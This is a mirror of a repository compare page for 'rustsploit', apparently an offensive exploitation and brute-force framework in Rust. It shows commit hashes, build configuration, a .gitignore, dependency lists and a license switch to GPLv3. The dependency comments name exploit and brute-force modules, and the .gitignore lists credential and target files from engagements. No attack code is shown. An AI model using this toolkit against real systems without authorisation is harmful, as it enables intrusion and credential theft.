mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
393 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 521f97e1ca | |||
| 4620ee3b8f | |||
| 15ed279155 | |||
| 0b98ce2987 | |||
| e180afdcc4 | |||
| 52767ab45f | |||
| 82f72079fb | |||
| 3183e5d0cc | |||
| 40b2659092 | |||
| d0e07e8d97 | |||
| c3d0556f77 | |||
| 5968d25b58 | |||
| e6736530f0 | |||
| bc104901d9 | |||
| 94899781d3 | |||
| 05cfdc6d22 | |||
| 929d39ebc4 | |||
| 8a8b7e8e5f | |||
| f229c3bd6c | |||
| c899a5e89b | |||
| 61816e04ab | |||
| c10eabe496 | |||
| 6894c7523c | |||
| 4403218c05 | |||
| a373f07870 | |||
| ba92aa5d9e | |||
| 4efe2a974a | |||
| 699827a054 | |||
| 799ded9523 | |||
| ab748265a0 | |||
| 22852e571d | |||
| 5667949990 | |||
| a2b829f89c | |||
| c9b3d331e7 | |||
| bb964cc062 | |||
| cdaea5221e | |||
| 64414efcf8 | |||
| 1fbcf6d4b5 | |||
| 61863cc301 | |||
| 906808f392 | |||
| b2c6137389 | |||
| e232427464 | |||
| ab17b25589 | |||
| 4762c3cb7f | |||
| 3d37c0c67d | |||
| 8b69bb6234 | |||
| f51d7c111b | |||
| 587f7a5163 | |||
| e0b1fbd06c | |||
| fb9ae7f3c2 | |||
| ebeb15e2b7 | |||
| 219f0710eb | |||
| c2c03295d5 | |||
| 12402c61c4 | |||
| 22aea2de44 | |||
| 347fbd71ec | |||
| c35bcf50c5 | |||
| ea1112ef4d | |||
| 3704f6239e | |||
| 13d0ca712c | |||
| d03fe5f237 | |||
| 9e121c51c0 | |||
| 82b2b087b0 | |||
| ce6e4f7e35 | |||
| f19891e03b | |||
| 0d1afe605b | |||
| ab3c86c437 | |||
| 7d3f1e8a51 | |||
| 00cf535bac | |||
| 5fff3916e3 | |||
| 7fa215aee0 | |||
| 6d69e14982 | |||
| 120832102e | |||
| 7ce7f582ce | |||
| 99ce6d9e7f | |||
| dc9f028495 | |||
| 699de58d4f | |||
| 655542e36f | |||
| 4175c164b0 | |||
| 1e657765bf | |||
| 3cd9840314 | |||
| c8d2d254a0 | |||
| f7793bc6ed | |||
| c33650e604 | |||
| 4049849a53 | |||
| a1ca9c3e43 | |||
| 4bdae0b07f | |||
| 4389cf9015 | |||
| f292e8c697 | |||
| 9616e3fea4 | |||
| 30072e4ccb | |||
| e45c346376 | |||
| d139d64bda | |||
| 849a724f0c | |||
| 3db864668c | |||
| e04c08e8d5 | |||
| 8a035a2f5b | |||
| 1afe9f5184 | |||
| 4c954a7f9f | |||
| 6a15adb0d2 | |||
| 956e2d23a2 | |||
| c774a4358a | |||
| a120f536b6 | |||
| 018f6234bb | |||
| 22f4bcf2eb | |||
| 384b09a6af | |||
| 1b50556331 | |||
| 62dbc9e2ec | |||
| 40180206fa | |||
| 9aee2764dd | |||
| f21264f99c | |||
| 7d875ede8e | |||
| c214fc0bfb | |||
| a96746297c | |||
| 96ac4d9a1a | |||
| 1a282ee99b | |||
| e7fc49d128 | |||
| 4804dcc860 | |||
| f1f1cf9855 | |||
| d250d23f3c | |||
| 2ee136e26d | |||
| 6110190d8c | |||
| 7fa6643c75 | |||
| 8c9105166f | |||
| 5775fbc016 | |||
| b5e5ac088a | |||
| 85bc679a5b | |||
| 8f83e1013b | |||
| 9ef5ec403f | |||
| 324d87b575 | |||
| a7a61b59db | |||
| 9efdcf274d | |||
| 0feab02c60 | |||
| 0a892be55a | |||
| 73f9c8f9a3 | |||
| b8b776f12a | |||
| 5d156686c6 | |||
| 630f123fe0 | |||
| aaa02ee3fe | |||
| d746c0fa69 | |||
| 1f66601843 | |||
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 | |||
| 0b31da3384 | |||
| d8e0210d70 | |||
| 803c19c2af | |||
| 41fd1ec33b | |||
| a6de04092a | |||
| f08e88055a | |||
| 6a0446996e | |||
| 9e9c78b1e5 | |||
| fea19075ce | |||
| 5735f90860 | |||
| 7df00dc03b | |||
| 8d49f2e5cf | |||
| 1d548818e6 | |||
| f66cf16931 | |||
| 9a9b8304cf | |||
| 51c0251798 | |||
| 32bed1d2a4 | |||
| 9f6d6361eb | |||
| d56ad77d1e | |||
| 8a493954b6 | |||
| c247b3b5ab | |||
| 6aadd98518 | |||
| b1759d0f86 | |||
| fe15591faa | |||
| 3b4accba35 | |||
| 1534b9aa95 | |||
| a014f9e485 | |||
| 34cb58ee01 | |||
| ac8c0e18df | |||
| cb1ff2b4e0 | |||
| 7a2af6fdf1 | |||
| 290f859058 | |||
| a3bd842971 | |||
| f38aea01c2 | |||
| 7b0a246ccc | |||
| 718719b7d1 | |||
| 2876abdbb1 | |||
| 6f98db53a5 | |||
| c1bce55552 | |||
| c0aec6ed64 | |||
| dbd2b50ef2 | |||
| eb2e8542a9 | |||
| f02c6a2274 | |||
| 5650be5720 | |||
| 4ee5eeab42 | |||
| 818a82982f | |||
| f4d7c45f1d | |||
| 421b2508a0 | |||
| e4066ceea6 | |||
| 0f2d4cad8a | |||
| 1a53215512 | |||
| 34aa655e36 | |||
| 1741c043f9 | |||
| b1ac4e0190 | |||
| 1b4dfca8e2 | |||
| a78073381b | |||
| 17e081eb16 | |||
| 5299059ca8 | |||
| d489e5d2e3 | |||
| 337d7d5249 | |||
| ef5457d00a | |||
| 0164912f52 | |||
| d62c65e8fb | |||
| cdeed7c799 | |||
| da075a08ce | |||
| d91e1d2a25 | |||
| 5d0634670b | |||
| d6d9e5e836 | |||
| 30396b2414 | |||
| a24d9c79de | |||
| aed7b0b93e | |||
| c26a0f116c | |||
| 7a781ae2fa | |||
| ba3a6480d2 | |||
| ae435a2143 | |||
| 20b610a1d5 | |||
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 | |||
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd | |||
| 8eb8058ad6 | |||
| 63f8cac2ca | |||
| 71bc20cee0 | |||
| 34b6faf140 | |||
| 7f359683da | |||
| 1bbe3ae651 | |||
| 6100aa9964 | |||
| 0e3da4499f | |||
| 55a30f91f0 | |||
| 33284b158a | |||
| 624090055c | |||
| f60e5e50ca | |||
| 05f1a03dfc | |||
| 6dc6d2ecfb | |||
| 60163b46e6 | |||
| f185052df1 | |||
| a4a466083f | |||
| 1e285f95c7 | |||
| 9ac7c7fce2 | |||
| 268f7cec4f | |||
| 64c10cde10 | |||
| e534341e82 | |||
| ed30bde3ee | |||
| f166b8ac51 | |||
| 7e2a244fe5 | |||
| 512c75ebf1 | |||
| af7b2fc80f | |||
| 1cdebfead5 | |||
| 472238a883 | |||
| 408007fded | |||
| 5cb4694bad | |||
| 28c9d27857 | |||
| de0ed82830 | |||
| f4a554accf | |||
| 2e046a4ced | |||
| fd5a180702 | |||
| 80903bfdc4 | |||
| 8df8849401 | |||
| b48de95cca | |||
| 75c4a0fd71 | |||
| 5975adce78 | |||
| 1246b3f4b7 | |||
| b148f8ba14 | |||
| d4dd665efd | |||
| a5b6261101 | |||
| 06915cbc35 | |||
| b9ace5a109 | |||
| 04f1e67758 | |||
| 15a12d57e9 | |||
| e49f55eb21 | |||
| 9865225e99 | |||
| 3b33e40727 | |||
| 759f733650 | |||
| 5873ba0d5a |
@@ -0,0 +1,16 @@
|
||||
[build]
|
||||
# Sparse registry protocol — much faster index updates (default on 1.70+, set explicitly).
|
||||
# Set CARGO_TARGET_DIR in your shell to share build artifacts across projects.
|
||||
|
||||
[target.x86_64-unknown-linux-gnu]
|
||||
linker = "clang"
|
||||
# Prefer mold if installed (`sudo apt install mold`); fall back to lld otherwise.
|
||||
# Swap "-fuse-ld=lld" -> "-fuse-ld=mold" after installing mold.
|
||||
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
|
||||
|
||||
[target.aarch64-unknown-linux-gnu]
|
||||
linker = "clang"
|
||||
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
|
||||
|
||||
[registries.crates-io]
|
||||
protocol = "sparse"
|
||||
@@ -1,22 +0,0 @@
|
||||
name: Rust
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
pull_request:
|
||||
branches: [ "main" ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
||||
runs-on: Kali
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build
|
||||
run: cargo build --verbose
|
||||
- name: Run tests
|
||||
run: cargo test --verbose
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# Build artifacts
|
||||
/target/
|
||||
**/__pycache__/
|
||||
*.log
|
||||
|
||||
# Local agent / editor config
|
||||
/.claude/
|
||||
|
||||
# Separate sub-projects / scratch analysis (not part of rustsploit core)
|
||||
/arcticalopex/
|
||||
/_analysis/
|
||||
/addme/
|
||||
|
||||
# Audit & scratch artifacts
|
||||
/AUDIT_FINDINGS.md
|
||||
/audit-findings.md
|
||||
/_audit_findings.json
|
||||
/_audit_summary.txt
|
||||
/arcticalopex_audit.md
|
||||
/arcticalopex_audit_phase_a_b_d_summary.md
|
||||
/arcticalopex_wiring_audit.md
|
||||
/rustsploit_audit.md
|
||||
/bugs.txt
|
||||
/todo.txt
|
||||
/test.txt
|
||||
|
||||
# Engagement data / secrets — NEVER commit
|
||||
/creds.txt
|
||||
/found_backend2026.csv
|
||||
/results.txt
|
||||
/results_*.txt
|
||||
/hydra_targets_*.txt
|
||||
/hydra.restore
|
||||
/paused.conf
|
||||
/blocklist.conf
|
||||
/*.gnmap
|
||||
/za-target.txt
|
||||
/za_targets_final.txt
|
||||
/xneelo
|
||||
/xneelo_mapp.txt
|
||||
/should_not_exist2.bat
|
||||
|
||||
# Stray placeholder files
|
||||
/src/t
|
||||
/src/modules/t
|
||||
/src/modules/exploits/t
|
||||
+176
-84
@@ -1,91 +1,183 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9.0"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
rustyline = "15.0.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
tokio-socks = "0.5.2"
|
||||
rustls = "0.23.26"
|
||||
webpki-roots = "0.26.8"
|
||||
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2.14"
|
||||
sysinfo = { version = "0.34.2", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
walkdir = "2.5.0"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22.1"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12.8"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7.0"
|
||||
ftp = "3.0.1"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2.172"
|
||||
futures = "0.3.31"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0.140"
|
||||
futures-util = "0.3.31"
|
||||
tokio-tungstenite = "0.26.2"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8.3"
|
||||
cipher = "0.4.4"
|
||||
flate2 = "1.0.30"
|
||||
|
||||
#avanti
|
||||
url = "2.5.4"
|
||||
semver = "1.0.26"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34" # Or the latest compatible version
|
||||
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11.1" # required for use in build.rs
|
||||
version = "0.5.0"
|
||||
edition = "2024"
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.1" # newer than 2.0
|
||||
rand = "0.10"
|
||||
rustyline = "18.0"
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
tokio-util = { version = "0.7", default-features = false }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
|
||||
h2 = "0.4"
|
||||
http = "1.4"
|
||||
bytes = "1.11.1"
|
||||
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
|
||||
url = "2.5"
|
||||
quick-xml = "0.40"
|
||||
data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.9"
|
||||
cipher = "0.5"
|
||||
md5 = "0.8"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
pnet_packet = "0.35"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
|
||||
rustls-pemfile = "2" # used by exploit/scanner modules
|
||||
hyper = { version = "1", features = ["http1", "server"] }
|
||||
hyper-util = { version = "0.1", features = ["tokio", "service"] }
|
||||
|
||||
# Telnet
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
|
||||
# SSH
|
||||
libc = "0.2"
|
||||
|
||||
# Resource limits (safe wrapper for getrlimit/setrlimit)
|
||||
rlimit = "0.11"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = { version = "0.12", optional = true }
|
||||
|
||||
# WPair migrated from ratatui+crossterm TUI to rustyline REPL — deps removed.
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.29"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = { version = "0.8", features = ["ws"] }
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.23", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.26.0-alpha.1" }
|
||||
hickory-proto = "0.26.0-alpha.1"
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.9", features = ["zeroize"] }
|
||||
zeroize = { version = "1", features = ["derive"] }
|
||||
sha1 = "0.11"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
# Compile-time module registry — every module self-registers via
|
||||
# `register_native_module!` at file scope; `inventory::iter` walks the registry.
|
||||
inventory = "0.3"
|
||||
async-trait = "0.1"
|
||||
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.11.0-rc.3"
|
||||
|
||||
# Passphrase KDF for host key encryption at rest
|
||||
argon2 = "0.5"
|
||||
|
||||
# Post-Quantum Encryption — triple hybrid: X25519 (classical) + ML-KEM-1024
|
||||
# (FIPS 203, lattice) + Classic McEliece 460896f (code-based), all chained into
|
||||
# the HKDF IKM, with ChaCha20-Poly1305 AEAD.
|
||||
ml-kem = "0.3.0-rc.2"
|
||||
kem = "0.3"
|
||||
rand_core = "0.10"
|
||||
# Classic McEliece (code-based KEM) — algorithmically independent of ML-KEM's
|
||||
# lattice assumption. The crate pins rand 0.8 for its RNG trait bounds, so we
|
||||
# also alias rand 0.8 purely to supply an OsRng to its encapsulate/keypair APIs.
|
||||
classic-mceliece-rust = { version = "3.1", features = ["mceliece460896f"] }
|
||||
rand08 = { package = "rand", version = "0.8" }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets", "zeroize"] }
|
||||
chacha20poly1305 = "0.11.0-rc.3"
|
||||
hkdf = "0.13"
|
||||
sha2 = "0.11"
|
||||
p256 = { version = "0.13", features = ["ecdh"] }
|
||||
hex = "0.4"
|
||||
|
||||
# Dependency overrides to address security advisories in transitive dependencies
|
||||
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
|
||||
time = "0.3.47"
|
||||
rmcp = { version = "1.7.0", features = ["server", "transport-io", "transport-async-rw"] }
|
||||
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
|
||||
|
||||
# ============================================
|
||||
# Development profile: Fast incremental builds
|
||||
# ============================================
|
||||
[profile.dev]
|
||||
opt-level = 0 # No optimization for fastest compile
|
||||
debug = "line-tables-only" # Backtraces work; far less link time + disk than full debuginfo
|
||||
incremental = true # Enable incremental compilation
|
||||
split-debuginfo = "unpacked" # Faster link times
|
||||
codegen-units = 256 # Maximize parallelism for dev builds
|
||||
|
||||
# Optimize dependencies in dev mode (they don't change often)
|
||||
[profile.dev.package."*"]
|
||||
opt-level = 2 # Deps are optimized but your code isn't
|
||||
|
||||
# ============================================
|
||||
# Release profile: Maximum performance
|
||||
# ============================================
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
# ============================================
|
||||
# Custom profile: Fast release builds for testing
|
||||
# Usage: cargo build --profile fast-release
|
||||
# ============================================
|
||||
[profile.fast-release]
|
||||
inherits = "release"
|
||||
lto = "thin" # Faster than fat LTO
|
||||
codegen-units = 4 # Parallel codegen
|
||||
|
||||
[features]
|
||||
default = ["bluetooth"]
|
||||
bluetooth = ["dep:btleplug"]
|
||||
|
||||
@@ -1,21 +1,674 @@
|
||||
MIT License
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (c) 2025 S.B
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
Preamble
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
